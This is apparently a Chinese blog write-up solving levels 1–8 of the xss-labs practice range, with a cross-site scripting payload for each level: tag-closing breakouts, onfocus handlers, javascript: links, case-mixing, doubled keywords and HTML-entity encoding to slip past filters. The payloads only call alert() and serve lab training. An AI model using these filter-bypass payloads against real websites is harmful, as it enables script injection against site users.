xss-labs靶场1-8

level1

php 复制代码
<script>alert()</script>

level2

闭合绕过

php 复制代码
">  <script>alert()</script>  <"

level3+level4

onfocus事件绕过

php 复制代码
' onfocus=javascript:alert() '


然后再点击输入框触发onfocus事件

level5

有小写字母转化函数,用a href标签法, 前提是闭合号<"">没失效

php 复制代码
"> <a href=javascript:alert()>xxx</a> <"

level6

关键字测试

大小写测试

用大小写法绕过str_replace()函数

php 复制代码
"> <sCript>alert()</sCript> <"

level7

关键字测试

用双拼写绕过

php 复制代码
"> <a hrehreff=javasscriptcript:alert()>x</a> <"

level8

关键字测试

input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,过滤掉了src、data、onfocus、href、script、双引号

利用href的隐藏属性自动Unicode解码,插入一段js伪协议

php 复制代码
javascript:alert()

在线Unicode编码解码

php 复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;
相关推荐
凛_Lin~~2 分钟前
安卓 Java线程八股文 (线程、多线程、线程池、线程安全)
android·java·开发语言
一个有故事的男同学7 分钟前
从零打造专业级前端 SDK (一):架构与工程化
前端·架构
哈哈哈笑什么7 分钟前
企业级CompletableFuture并行化完整方案,接口从10s到100ms
java·后端·spring cloud
小胖霞9 分钟前
node全栈系列(七)-增加验证码登录
前端·vue.js·node.js
C雨后彩虹14 分钟前
最少交换次数
java·数据结构·算法·华为·面试
i***118624 分钟前
【MyBatisPlus】MyBatisPlus介绍与使用
java
A242073493037 分钟前
js流程控制语句
开发语言·前端·javascript
kesifan41 分钟前
JAVA的线程的周期及调度
java·开发语言
李少兄41 分钟前
解决 Spring Boot 中 YAML 配置文件的 `ArrayIndexOutOfBoundsException: -1` 异常
java·spring boot·后端
uup1 小时前
Java 多线程环境下的资源竞争与死锁问题
java